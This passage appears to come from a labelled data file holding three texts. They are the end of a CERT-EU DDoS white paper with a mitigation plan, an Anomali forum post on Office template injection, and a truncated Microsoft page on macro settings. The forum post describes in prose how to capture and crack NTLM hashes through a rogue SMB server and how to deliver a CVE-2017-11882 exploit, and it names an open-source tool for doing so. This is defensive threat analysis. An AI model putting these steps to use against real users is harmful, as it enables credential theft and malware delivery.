targeted resource. Magnitude is measured in bits per second. In this category it is important to underline the amplification attacks \xe2\x80\x93 attacks that take advantages of the asymmetry design of some protocols (such as DNS and NTP) to flood the victim with the answers to queries, which multiply many times the number of bits of the query. Protocol Attacks: These include SYN floods, fragmented packet attacks, Smurf, and more. This type of attack consumes actual server resources or resources on the intermediate equipment, such as firewalls and load balancers. Magnitude is measured in packets per second. Application Layer Attacks: These include slow POST, HashDos, GET flood, clogging and more. This attack sends data according to specific features of well-known applications such as HTTP, DNS, SMTP, SSL. Comprised of seemingly legitimate packets, the goal of these attacks is the depletion of certain resources in the application. Magnitude is measured in requests per second. The different layers potentially used by the DDoS attacks are presented in Figure 1. 3 DDoS Threat Landscape Getting global information concerning the evolution of the DDoS attacks is not an easy task, because the information is spread between the ISPs and the targets of the attacks all around the Internet. For writing this white-paper, CERT-EU has reviewed the latest reports from two of the leading companies offering defense services against DDoS. These reports are based on the data recorded by these defense networks and in one of them also on information from a periodic technical survey sent to its clients [7, 4]. The aim of this white-paper is not to reproduce nor summarize these reports, but to offer some of the conclusions with analysis, but underlining the original sources. 2 Figure 1: The layering of DDoS attacks on the OSI network model According to [7], 34% of the enterprise, government, and education organizations reported that they have experienced DDoS attacks in 2015. Among those, over one-quarter indicated that they suffered more than 10 attacks per month, and about half say the attacks exceeded their total Internet capacity. The motivation that these organizations attribute to these attacks is shown in Figure 2. Figure 2: DDoS attack motivations This data gives a predominant role in the DDoS attacks to criminal organizations in contrast to the information offered in the previous version of this white-paper, related to the year 2013 [8]. Although the source is also different, such attribution can be supported by the evidence that stresser tools/bots have been used much more often recently, in contrast with other typical hacktivism tools (such as the famous LOIC) used previously. 3 Regarding the attack size, in general the peak attack sizes and large attack frequency seem to have increased dramatically over the last years [7]. A graph of the tendency of the size of the DDoS attacks over the last several years is presented in Figure 3. Figure 3: Size of DDoS attacks in the rent years The latest data available for the third quarter of 2016 shows \xe2\x80\x93 versus the same quarter of 2015 \xe2\x80\x93 a 77% increase of the DDoS and a 138% increase of those bigger than 100Gps [7]. This trend is consistent with the recent attacks against the Krebs on Security blog and the French Internet service and hosting provider OVH reached 620 Gbps and 1.2 Tbps respectively. It confirms the trend of significant growth in the top-end size of DDoS attacks year-over-year. UDP fragments and DNS reflection continued to be the largest portion of the DDoS. The two vectors are strongly correlated, because a considerable amount of the UDP fragmentation traffic is caused by DNS traffic. Combined UDP fragmentation and DNS floods grew by 4.5% in the third quarter of 2016, accounting for nearly 44% of the attack vectors reported by [7]. The evolution of the NTP protocol attacks presented in the quoted report is of special interest, because it seems that while the number of NTP attacks has grown over time, the amount of traffic generated by each attack has decreased significantly. This is because the number of vulnerable servers has stabilized, after decreasing significantly due to the patching. Also there started to appear a competition between the attackers for the remaining resources, since this attack has improved its popularity during the last two years. During 2014, when the NTP vulnerability was published, CERT-EU started a scanning campaign reporting to the constituency with a good rate of fixing the vulnerable servers. The same was done after that for DNS open resolvers and to prevent amplification attacks using the SNMP protocol. On the other hand, stressers and botnets account for a large portion of the attack traffic in the largest attacks. Usually different techniques are used in these largest attacks. Among them, Mirai botnet has had an prominent role in the last few months. Rather than using reflectors, Mirai uses compromised IoT systems and generates traffic directly from those nodes. Mirai scans the Internet for telnet services using well-known weak passwords present in many devices. The code itself is downloaded during a telnet session using FTP. Mirai also terminates processes that belong to competing botnets and closes its own attack vector. Mirai can be highly tailored. The first version was capable of ten different attacks. Half of its success is the use of the GRE protocol1 as application layer attack. It is also resilient with respect 1GRE protocol was developed by Cisco and allows to connect networks of different technologies through an IP network by encapsulating its datagrams over IP packets 4 to the availability of its C2 servers, and it has a great capacity of generating peak traffic without using reflectors/amplification, because it has available a big number of vulnerable IoT devices [4]. Due to the public release of the source code and ita extensible nature, new versions of the code have been detected. In addition, according to statistics about the use of telnet service, they have skyrocketed in the last four months. It is than quite possible that we might see in the future attacks of several Tbps which might be the peak power of all the potential Mirai controlled devices on the Internet. However, it is not easy to assess if (and if so - when) this potential threat will materialize. The attention received by Mirai after its release in the public domain might contribute to accelera- tion of the process described above related to the life cycle of the NTP amplifications attacks. It may lead to many attackers competing for controlling the same resources. Although in this case, the size of the potentially available resources to set up the attack is much bigger than in the case of NTP amplification attacks. 4 DDoS Mitigation As mentioned, DDoS is one of the risks to be addressed in the organization Business Continuity Plan (BCP). The organization should start by assessing the likelihood of different scenarios and the business impact for the organization. Only after understanding the consequences of a DDoS and its likelihood, the accountable managers for the affected service can start and support the needed actions and plans to reduce the risk to a level they can accept. Some of the aspects that have to be taken into account are common for risk assessment sup- porting BCP. Following suggested points should be reviewed specifically for DDoS mitigation in this analysis: \xe2\x80\xa2 On what IT assets the services depend on, and what are the relationships/dependencies between them. Ideally, it would be useful to have a dependency tree describing the con- nections between assets and services. For instance: knowing what databases are support- ing what services, or what services might be affected, if it is decided to reduce the TTL in the DNS. Such information can be very useful in order to foresee the consequences of some mitigation techniques. \xe2\x80\xa2 What are the external nodes in the dependency trees and which underpinning contracts assurance their availability. What are the contact points related to these resources to be reported to in case of a DDoS. \xe2\x80\xa2 What are the different scenarios that might be applicable concerning these dependency trees; which are the single points of failure; which assets are critical to support more than one service or the most critical service. \xe2\x80\xa2 What threats can by identified that can cause a fail in the dependency tree. Gathering further technical information about the assets and dependencies might help to foresee the type of DDoS that the organization is most vulnerable to. For example, it does not make sense to publish through a Content Delivery Network of resources with high dependency on dynamic content. Reviewing a DDoS attack which might target the assets that gen- erate this dynamic content (such as the databases) might be more useful. In this phase, some controlled stress-tests might be helpful to point to the weakest link in the chain of dependencies. 5 Having all that information, one can start to select the mitigation techniques and controls to be implemented in the mitigation plan and its continuous improvement strategy. In any case, CERT-EU recommends a formal approach to the risk assessment for those con- stituents which have been already attacked, as well as for those who have a high risk as result of a preliminary estimation. In order to achieve it, CERT-EU recommends to use the same risk assessment methodology that are used for the rest of IT security risk mitigation, but focus on the availability of the information, instead of on confidentiality or integrity. Defending a site against a DDoS attack has both a fixed and a variable cost. The fixed costs come in the form of locations, servers, and engineering. The variable, or operational, costs include the bandwidth served and manpower needed to mitigate attacks for the time they are on-going [4]. From this perspective, mitigating DDoS is a business decision that should address what service should be still available under what kind of a DDoS attack and for how long. It is also important to support the proper mitigation plan with the proper budget allocations and to accept the residual risk. It is important to remember that starting by considering only or mainly technical aspects might be misleading. 4.1 Mitigation Techniques It is important to underline that taking into account the strength of the latest attacks, it may be necessary to hire specialist services, if continuous availability under a powerful DDoS attack is the requirement of an organization. There have been several guides from different specialists published that show possible approaches to facing such attacks [9, 10] Similarly to the list of types of attacks, the list of mitigation techniques does not try to be exhaustive. It only offers a summary that can be extended by specialized literature. Eventually, the techniques chosen should be tailored to reach the proper residual risk that the management can or has to accept. \xe2\x80\xa2 Blocking the attack via FW/IPS. It can be useful with Layer 7 DDoS attacks when they can be detected by signatures or when the source IPs make it feasible. On the other hand, these devices can be themselves targeted by network DDoS attacks, they are useless against reflective attacks, and in oder to work properly against DDoS attacks they might need additional personnel training or specialist in the team. \xe2\x80\xa2 Auto-scale resources. Although theoretically possible in the cloud, might not be possible for the back-end. In addition, it might not be setup fast enough to mitigate the attack. \xe2\x80\xa2 Adding mitigation DDoS hardware. It may be very useful to detect application-layer at- tacks early, which is very important to avoid that the services get affected. On the other hand, it might require to setup a specialist team in-house or will add an important over- head to the network administrators. \xe2\x80\xa2 Publishing service through a Content Delivery Network. It can be useful to absorb volumetric attack for static content, but without other techniques might not address application-layer attacks. \xe2\x80\xa2 Hiring DDoS scrubbing services. Theoretically they are able to just send to the organi- zation the clean traffic after absorbing the attack, because they are supposed to have the intelligence to detect and discard most of the DDoS attack types. However, they might need to be complemented with DNS and BGP solutions in order to be effective. In addi- tion, considering the attack\xe2\x80\x99s peak bandwidth seen lately, it might be really expensive for the size of the resources required to mitigate such attack. 6 4.2 DDoS Mitigation Plan An effective immediate response is difficult and may depend on third parties, such as ISPs and DDoS mitigation specialists. These external partners have large scale infrastructures and use a variety of technologies for identification, containment, and remediation. Therefore, DDoS at- tacks can sometimes be identified and mitigated before they reach the organization\xe2\x80\x99s premises. Additional tasks, especially in case of attacks on the network-layer, such as bandwidth prioriti- zation and sinkholing may be performed at end-user/organization level. The following list summarizes the proposed DDoS mitigation guide: 1. Preparation \xe2\x80\xa2 contacts and procedures \xe2\x80\xa2 ISP and specialized support \xe2\x80\xa2 network & infrastructure setups 2. Identification \xe2\x80\xa2 detection and alerting \xe2\x80\xa2 attack analysis \xe2\x80\xa2 motivation identification \xe2\x80\xa2 mitigation acquirement/refinement \xe2\x80\xa2 traceback 3. Containment \xe2\x80\xa2 network modifications \xe2\x80\xa2 content delivery control \xe2\x80\xa2 traffic control 4. Remediation \xe2\x80\xa2 bandwidth prioritization and blocking \xe2\x80\xa2 traffic-scrubbing \xe2\x80\xa2 sinkholing 5. Recovery \xe2\x80\xa2 normal state verification \xe2\x80\xa2 rollback 6. Aftermath \xe2\x80\xa2 incident review and information disclosure \xe2\x80\xa2 law enforcement 4.3 Proposed Course of Action per Mitigation Stage 4.3.1 Preparation Contacts and procedures: \xe2\x80\xa2 Maintain contact information for team members and others within and outside the orga- nization such as ISP, CDN services, response teams, and law enforcement authorities. \xe2\x80\xa2 Establish communication mechanisms. For data communications make sure that non- saturated lines will be used. \xe2\x80\xa2 Update the Recovery and Continuity Plan on new DDoS developments. Define a clear response escalation path. \xe2\x80\xa2 Ensure that the capacity of the entire infrastructure is not restricted by a single or limited number of resources. \xe2\x80\xa2 Dedicate Hardware and Software for DDoS mitigation (workstations, servers, network monitoring and analysis tools). 7 \xe2\x80\xa2 Establish alternative service and Internet gateways. ISP and specialized support: \xe2\x80\xa2 Update on ISP\xe2\x80\x99s mitigation services. \xe2\x80\xa2 Establish DDoS protection contracts and SLAs. Secure immediate activation of agreed services. \xe2\x80\xa2 Obtain a clear overview on infrastructure\xe2\x80\x99s performance in order to identify deviations derived from an attack. \xe2\x80\xa2 Establish specialized support from DDoS mitigation experts. Network & infrastructure setups: \xe2\x80\xa2 Create ACLs for traffic prioritization. \xe2\x80\xa2 Set up alternative communication on critical services using VPN. \xe2\x80\xa2 Use Reverse path forwarding (RPF). \xe2\x80\xa2 Apply inbound and outbound traffic filtering. \xe2\x80\xa2 Introduce weak authentication phase prior to the actual on authentication protocols. \xe2\x80\xa2 Apply limits for: \xe2\x80\x93 ICMP packet rate, \xe2\x80\x93 SYN packet rate, \xe2\x80\x93 DNS TTL for the exposed systems, \xe2\x80\xa2 Secure network, operating systems, servers, applications and components. 4.3.2 Identification Detection and alerting: \xe2\x80\xa2 Search for traffic patterns to expose known attacks (signature detection). \xe2\x80\xa2 Compare parameters of the observed network traffic with normal traffic (anomaly detec- tion). \xe2\x80\xa2 Contact CERT-EU for early warnings and indicator notices. Attack analysis: \xe2\x80\xa2 Identify the abused systems and services. \xe2\x80\xa2 Understand if you are the target of the attack or a collateral victim. \xe2\x80\xa2 Get a list of attacking IPs by tracing them onto the log files. \xe2\x80\xa2 Define the attack\xe2\x80\x99s profile by using network monitoring and traffic analysis tools. Motivation identification: \xe2\x80\xa2 Make a list of potential DDoS attack initiators. \xe2\x80\xa2 Investigate possible motives. Mitigation acquirement/refinement: \xe2\x80\xa2 Contact ISP to report the attack. \xe2\x80\xa2 Ask for assessment and visibility into the attack. \xe2\x80\xa2 Enable remediation measures. \xe2\x80\xa2 Notify executives and law enforcement services. Traceback: \xe2\x80\xa2 If possible identify the inbound points (by ACLs, NetFlow or backscatter mechanisms). 8 4.3.3 Containment Network modifications: \xe2\x80\xa2 Switch to alternative sites or networks using DNS or other mechanism. \xe2\x80\xa2 Distribute attack traffic across network of data centers. \xe2\x80\xa2 Route traffic on scrubbing services and products. Content delivery control: \xe2\x80\xa2 Use caching/proxing. \xe2\x80\xa2 Enable alternative communication channels (VPN). Traffic control: \xe2\x80\xa2 Terminate unwanted connections or processes on servers and routers. \xe2\x80\xa2 Configure outbound filters for reducing DDoS response footprint. \xe2\x80\xa2 Control content delivery based on user and session details. 4.3.4 Remediation Bandwidth prioritization and blocking: \xe2\x80\xa2 Deny connections using geographic information. \xe2\x80\xa2 Deny connections based on IP and traffic signatures. \xe2\x80\xa2 Place limits on the amount of traffic, maximum burst size, traffic priority on individual packet types. Traffic scrubbing: \xe2\x80\xa2 Use dedicated devices and modules with high-performing hardware that can support fo- cused scrubbing algorithms. Sinkholing: \xe2\x80\xa2 Attract DDoS traffic on the IP blocks advertised by the sinkhole to apply specialized anal- ysis. 4.3.5 Recovery Normal state verification: \xe2\x80\xa2 Verify that traffic is nominal with no sharp increases. Let a period of time since last violation before the traffic flow is considered normal. \xe2\x80\xa2 Ensure that the impacted services can be operational again. \xe2\x80\xa2 Ensure that your infrastructure performance is back to your baseline. \xe2\x80\xa2 Ensure that there are no collateral damages. Rollback: \xe2\x80\xa2 Initiate suspended services, applications and modules. \xe2\x80\xa2 Rollback the mitigation measures. \xe2\x80\xa2 Announce the end of the incident. \xe2\x80\xa2 Revert to your original network. 9 4.3.6 Aftermath Incident review and information Disclosure: \xe2\x80\xa2 Evaluate the effectiveness of response. \xe2\x80\xa2 Review the measures that could be taken to better address the incident response. \xe2\x80\xa2 Review and refine attack-handling tools and procedures taken during the incident. \xe2\x80\xa2 Create an incident review. \xe2\x80\xa2 Measure the operational impact and costs. Law enforcement: \xe2\x80\xa2 Ensure the attack evidences are valid for forensic analysis. \xe2\x80\xa2 Collaborate with law enforcement services. 5 Conclusion Until recently, DDoS attacks targeting on-line public services might have appeared to be mostly linked to hacktivism. Nowadays, it is not possible to find any important political movement or campaign without Internet presence. Hacktivism is simply a way protests and demonstrations have moved to Internet. Hence, it is likely that hacktivism (and the DDoS threat it is associated with) will play even more important role also in the future. However, recent data gives a predominant role in the DDoS attacks to criminal organizations. With the increased use of stresser tools and botnets, much larger volumetric attacks are now possible. These new tools can be easily used for criminal purposes and for financial gain, but also possibly to achieve political means of certain groups, parties, or even nation-states. These possibilities have to be kept in mind when evaluating and deciding on how to prepare against the potential DDoS attacks. Consequently, the main ideas that CERT-EU would offer for consideration in order to face such issues, are: \xe2\x80\xa2 Institutions should establish their availability requirements clearly. It might have different implications for critical services that must be available (even with legal implications), such as publications in the Official Dairy or on-line call-for-tenders than for resources that might support and explain public policies or political decisions. \xe2\x80\xa2 It is very important to know in advance the weakest links and bottlenecks that might threaten this availability requirements in case of a DDoS attack. In order to do that, a comprehensive risk assessment is highly recommended. \xe2\x80\xa2 Taking into account the latest attack strength, it might be required to hire specialist help or consultancy services to address demanding availability requirements. CERT-EU can help the constituency to analyze the proposals they might have from a vendor-neutral point of view. Finally, in case of a DDoS attack, reporting the incident and investigating various aspects, such as the threat actors involved or the techniques used, can help for the global security on Internet. 6 References [1] http://www.incapsula.com/ddos/ddos-attacks/denial-of-service 10 http://www.incapsula.com/ddos/ddos-attacks/denial-of-service [2] https://www.flashpoint-intel.com/action-analysis-mirai-botnet-attacks-dyn/ [3] https://krebsonsecurity.com/tag/ddos/ [4] https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/q3-2016-state-of- the-internet-security-report.pdf [5] http://arstechnica.com/information-technology/2016/10/inside-the-machine-uprising-how- cameras-dvrs-took-down-parts-of-the-internet/ [6] https://www.flashpoint-intel.com/new-mirai-variant-involved-latest-deutsche-telekom-outage/ [7] https://www.arbornetworks.com/insight-into-the-global-threat-landscape [8] http://www.businesswire.com/news/home/20130912005038/en/NSFOCUS-Mid-Year-DDoS- Threat-Report-2013-Details [9] https://www.imperva.com/docs/gated/WP_Incapsula_DDoS_Response_Playbook.pdf [10] http://www.cisco.com/c/en/us/products/collateral/security/traffic-anomaly-detector-xt- 5600a/prod_white_paper0900aecd8011e927.pdf 11 https://www.flashpoint-intel.com/action-analysis-mirai-botnet-attacks-dyn/ https://krebsonsecurity.com/tag/ddos/ https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/q3-2016-state-of-the-internet-security-report.pdf https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/q3-2016-state-of-the-internet-security-report.pdf http://arstechnica.com/information-technology/2016/10/inside-the-machine-uprising-how-cameras-dvrs-took-down-parts-of-the-internet/ http://arstechnica.com/information-technology/2016/10/inside-the-machine-uprising-how-cameras-dvrs-took-down-parts-of-the-internet/ https://www.flashpoint-intel.com/new-mirai-variant-involved-latest-deutsche-telekom-outage/ https://www.arbornetworks.com/insight-into-the-global-threat-landscape http://www.businesswire.com/news/home/20130912005038/en/NSFOCUS-Mid-Year-DDoS-Threat-Report-2013-Details http://www.businesswire.com/news/home/20130912005038/en/NSFOCUS-Mid-Year-DDoS-Threat-Report-2013-Details https://www.imperva.com/docs/gated/WP_Incapsula_DDoS_Response_Playbook.pdf http://www.cisco.com/c/en/us/products/collateral/security/traffic-anomaly-detector-xt-5600a/prod_white_paper0900aecd8011e927.pdf http://www.cisco.com/c/en/us/products/collateral/security/traffic-anomaly-detector-xt-5600a/prod_white_paper0900aecd8011e927.pdf Introduction Target Audience DDoS Attack Categories DDoS Threat Landscape DDoS Mitigation Mitigation Techniques DDoS Mitigation Plan Proposed Course of Action per Mitigation Stage Preparation Identification Containment Remediation Recovery Aftermath Conclusion References","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection - Threat Intelligence - Anomali Forum Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection Intel Hub Threat Intelligence Intel_Acquisition_Team 2018-03-01 11:04:30 UTC #1 Additional information and Indicators of Compromise associated with this TTP can be viewed by ThreatStream users here Overview Template Injection is a technique used by threat actors in which a Microsoft Office document template has a URL injected into it. This causes Word to request the resource the specified by the URL. Since Windows\xe2\x80\x99 default behavior is to send the credentials to the server if using SMB, this technique can be used for credential theft or delivery of a malicious file to the victim. Details \xe2\x80\x9cMicrosoft Office Open XML\xe2\x80\x9d is a compressed XML-based file format developed for Microsoft Office in 2000. It is the default target file format of Microsoft Office. Extensible Markup Language (XML) is a markup language that was created to give a set of rules for encoding documents that are both human-readable and machine-readable. Microsoft developed Microsoft Office Open XML in order to adopt a more open and standardized format. Microsoft Office Open XML Format documents allow resources to be fetched from remote sources; relations can be specified in the document which are fetched when the document is opened and processed by Office Attack Flow 1: Harvesting Credentials An actor would begin by setting up a service that acts like a Server Message Block (SMB) file server, as shown in Figure 1, designed for the use of capturing credentials. Screen Shot 2018-02-14 at 9.56.18 AM.jpg1454\xc3\x97964 127 KB Figure 1 - Starting an SMB server. The actor would then inject a Microsoft Office Open XML document with a \xe2\x80\x9cRelationship\xe2\x80\x9d entity pointing to a remote \xe2\x80\x9ctemplate file\xe2\x80\x9d, as depicted in Figure 2. Screen Shot 2018-02-13 at 11.50.37 AM.png2154\xc3\x97268 54.9 KB Figure 2 - \xe2\x80\x9csettings.xml.rels\xe2\x80\x9d file with malicious IP address The document file must be delivered to a target, possibly via spear phishing or by serving it on a website. When the target opens the file, Microsoft Office attempts to fetch the remote resource, as shown in Figure 3. Screen Shot 2018-02-14 at 11.18.03 AM.png1204\xc3\x97644 63.1 KB Figure 3 - Upon opening the injected file, a connection is made to fetch the resource. Office first attempts to access the resource over ports 445 and 139 by trying to establish a connection to the server over SMB, Figure 4. With no credential prompt needed for SMB verification, the attacker is able to harvest the target\xe2\x80\x99s credential hash, as shown in Figure 5. Screen Shot 2018-02-14 at 10.20.31 AM.png2022\xc3\x97854 118 KB Figure 4 - Packet capture showing SMB verification Screen Shot 2018-02-14 at 9.58.41 AM.jpg2038\xc3\x971376 655 KB Figure 5 - SMB server capturing NTLM hashes From collected hashes, an attacker is able to crack the hash in order to harvest the targets password (Figure 6). Screen Shot 2018-02-14 at 10.09.27 AM.png1720\xc3\x97288 74.6 KB Figure 6 - Using hash cracker to extract password Attack Flow 2: Delivering Malicious File An attacker can also deliver a malicious file over a specified protocol. An example of this type of attack being used in the wild is specified here. An actor can template inject a Microsoft Word file with a reference (In this case using HTTP) to a remote file that contains an exploit, as demonstrated in Figure 7. Screen Shot 2018-02-21 at 11.47.17 AM.png1137\xc3\x97235 89.4 KB Figure 7 - Reference to malicious file The file is fetched from the server (Figure 8, and placed in an object in the Word file. In this case, the malicious file is a Rich Text File (RTF) that exploits \xe2\x80\x9cCVE-2017-11882.\xe2\x80\x9d Screen Shot 2018-02-21 at 11.54.38 AM.png1804\xc3\x971476 250 KB Figure 8 - Fetching malicious RTF file The RTF file exploits \xe2\x80\x9cMicrosoft Equation Editor 3.0\xe2\x80\x9d, available in Microsoft Office versions prior to Office 2016, to run an MSHTA command to fetch a malicious HTA file (Figure 9). Screen Shot 2018-02-20 at 1.17.37 PM.png1670\xc3\x97176 18.2 KB Figure 9 - Link in RTF file to download payload This technique is very versatile and can be used to deliver exploits for Microsoft Office vulnerabilities without much user interaction. Analysis This technique has the possibility to pose a high risk to companies and individuals alike because it can result in the theft of credentials for potentially sensitive accounts, particularly if the password is weak. In addition, if the attacker is harvesting SMB credentials it does not require any additional user input. The attacker is also able to set the target to connect over HTTPS to a server configured to display a prompt to the user for their username and password. If entered, the attacker can harvest these credentials. This technique is very easy to implement in terms of complexity. Additionally, there are tools available in open source repositories to enable an attacker to perform this technique: \xe2\x80\x9chttps://github.com/ryhanson/phishery\xe2\x80\x9d. A threat actor would be likely to use this technique as it has a couple of substantial benefits. The actor is able to swap between payloads; for example, if a particular payload exploiting a vulnerability has been patched, then the actor could swap to use another payload without altering the initial file. Another benefit is that antivirus applications will not be able to identify a template injected file that is malicious. As it is a feature of Microsoft Office and fetching remote resources is not malicious in itself. Mitigation Users should be aware of how to identify malicious files being delivered via email. Always be on high alert while reading email, in particular when it comes with an urgent label, or uses poor grammar. Use anti-spam and antivirus protection, and avoid opening email from untrusted or unverified senders. It is also important to make sure that real-time protection is enabled with your antivirus software. The real-time protection feature has the potential to stop the threats just before execution. In the case of \xe2\x80\x9cCVE-2017-11882\xe2\x80\x9d, real-time protection is able to mitigate this threat before exploitation, as shown in Figure 10. Screen Shot 2018-02-21 at 10.41.37 AM.png1550\xc3\x971092 95.8 KB Figure 10 - Windows Defender blocking CVE-2017-11882 Users should implement a strong password to assist in preventing brute force attacks via a hash cracker. It is also important that users use different passwords for different accounts that are being used. This will protect other accounts from being compromised in the event of one password being obtained. LM hashes should be disabled since they are easy to brute force. Companies should implement egress filtering tools that control traffic leaving the network before an outbound connection is allowed. Outbound traffic from ports 445 and 139 should be blocked. Additional information and Indicators of Compromise associated with this TTP can be viewed by ThreatStream users here References http://blog.talosintelligence.com/2017/07/template-injection.html https://msdn.microsoft.com/en-us/library/aa338205(v=office.12).aspx#office2007aboutnewfileformat_introduction https://www.trustwave.com/Resources/SpiderLabs-Blog/Multi-Stage-Email-Word-Attack-without-Macros/?page=1&year=0&month=0&LangType=1033 Home Categories FAQ/Guidelines Terms of Service Privacy Policy Powered by Discourse, best viewed with JavaScript enabled","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Enable or disable macros in Office files - Office Support Breaking news from around the world Get the Bing + MSN extension No thanks Add it now Skip to main content Microsoft Office Office Office Home Products For home > Plans & pricing For households For individuals See Office 365 For business > Plans & pricing New businesses Small business Enterprise See all business For education > For students & teachers For schools Applications > Outlook OneDrive Word Excel PowerPoint OneNote SharePoint Microsoft Teams See all Office products Resources Training Setup & install FAQ Templates Support More Buy Office 365 All Microsoft Office Windows Surface Xbox Deals Support Software Windows apps OneDrive Outlook Skype OneNote PCs & Devices PCs & tablets Accessories Entertainment Xbox games PC games Windows digital games Movies & TV Books Business Microsoft Azure Microsoft Dynamics 365 Microsoft 365 Microsoft Industry Data platform Microsoft Advertising Licensing Developer & IT .NET Visual Studio Windows Server Windows Dev Center Docs Other Microsoft Store Microsoft Rewards Free downloads & security Education Store locations Gift cards View Sitemap Search Cancel 0 Cart Sign in Apps Outlook OneDrive Word Excel PowerPoint OneNote SharePoint Microsoft Teams Yammer Access Install Account Training Admin Enable or disable macros in Office files Office 365 Subscription, Office Online, Office 2019, Office 2016, Office 2013, Office 2010 Other versions \xee\x9c\x8d Office 365 Subscription, Office Online, Office 2019, Office 2016, Office 2013, Office 2010 Office 2007 A macro is a series of commands that you can use to automate a repeated task, and can be run when you have to perform the task. This article has information about the risks involved when you work with macros, and you can learn about how to enable or disable macros in the Trust Center. If you're looking for information on creating macros please see\xc2 Quick start: Create a macro. Newer Versions Office 2007 \xee\x9c\x8d In this article Enable macros when the Message Bar appears Enable macros in the Backstage view Enable macros for one time when the Security Warning appears Change macro settings in the Trust Center Macro settings explained What is a macro, who makes them, and what is the security risk? Enable macros when the Message Bar appears When you open a file that has macros, the yellow message bar appears with a shield icon and the Enable Content button. If you know the macro, or macros, are from a reliable source, use the following instructions: On the Message Bar, click Enable Content. The file opens and is a trusted document. The following image is an example of the Message Bar when macros are in the file. Enable macros in the Backstage view Another method to enable macros in a file is via the Microsoft Office Backstage view, the view that appears after you click the File tab, when the yellow Message Bar appears. Click the File tab. In the Security Warning area, click Enable Content. Under Enable All Content, click Always enable this document's active content. The file becomes a trusted document. The following image is an example of the Enable Content options. Enable macros for one time when the Security Warning appears Use the following instructions to enable macros for the duration that the file is open. When you close the file, and then reopen it, the warning appears again. Click the File tab. In the Security Warning area, click Enable Content. Select Advanced Options. In the Microsoft Office Security Options dialog box, click Enable content for this session for each macro. Click OK. Change macro settings in the Trust Center Macro settings are located in the Trust Center. However, if you work in an organization, the system administrator might have changed the default settings to prevent anyone from changing settings. Important:\xc2 When you change your macro settings in the Trust Center, they are changed only for the Office program that you are currently using. The macro settings are not changed for all your Office programs. Click the File tab. Click Options. Click Trust Center, and then click Trust Center Settings. In the Trust Center, click Macro Settings. Make the selections that you want. Click OK. The following image is the Macro Settings area of the Trust Center. Use the information in the following section to learn more about macro settings. Macro settings explained Disable all macros without notification\xc2 \xc2 \xc2 \xc2 Macros and security alerts about macros are disabled. Disable all macros with notification\xc2 \xc2 \xc2 \xc2 Macros are disabled, but security alerts appear if there are macros present. Enable macros on a case-by-case basis. Disable all macros except digitally signed macros\xc2 \xc2 \xc2 \xc2 Macros are disabled, but security alerts appear if there are macros present. However, if the macro is digitally signed by a trusted publisher, the macro runs if you have trusted the publisher. If you have not trusted the publisher, you are notified to enable the signed macro and trust the publisher. Enable all macros (not recommended, potentially dangerous code can run)\xc2 \xc2 \xc2 \xc2 All macros run. This setting makes your computer vulnerable to potentially malicious code. Trust access to the VBA project object model\xc2 \xc2 \xc2 \xc2 Disallow or allow programmatic access to the Visual Basic for Applications (VBA) object model from an automation client. This security option is for code written to automate an Office program and manipulate the VBA environment and object model. It is a per-user and per-application setting, and denies access by default, hindering unauthorized programs from building harmful self-replicating code. For automation clients to access the VBA object model, the user running the code must grant access. To turn on access, select the check box. Note:\xc2 Microsoft Publisher and Microsoft Access have no Trust access to the VBA project model object option. What is a macro, who makes them, and what is the security risk? Macros automate frequently used tasks to save time on keystrokes and mouse actions. Many were created by using Visual Basic for Applications (VBA) and are written by software developers. However, some macros can pose a potential security risk. A person with malicious intent, also known as a hacker, can introduce a destructive macro in a file that can spread a virus on your computer or into your organization's network. In this article What is a macro and what is the security risk? Enable or disable macros with the Trust Center Which program are you using? How can the Trust Center help protect me from unsafe macros? A security warning asks if I want to enable or disable a macro. What should I do? What is a macro and what is the security risk? Macros automate frequently-used tasks; many are created with VBA and are written by software developers. However, some macros pose a potential security risk. A person with malicious intent can introduce a destructive macro, in a document or file, which can spread a virus on your computer. Enable or disable macros with the Trust Center Macro security settings are located in the Trust Center. However, if you work in an organization, your system administrator might have changed the default settings to prevent anyone from changing any settings. Note:\xc2 When you change your macro settings in the Trust Center, they are changed only for the Office program that you are currently using. The macro settings are not changed for all your Office programs. Which 2007 Microsoft Office system program are you using? Access Click the Microsoft Office Button , and then click Access Options. Click Trust Center, click Trust Center Settings, and then click Macro Settings. Click the options that you want: Disable all macros without notification\xc2 Click this option if you don't trust macros. All macros in documents and security alerts about macros are disabled. If there are documents with unsigned macros that you do trust, you can put those documents into a Add, remove, or change a trusted location. Documents in trusted locations are allowed to run without being checked by the Trust Center security system. Disable all macros with notification\xc2 This is the default setting. Click this option if you want macros to be 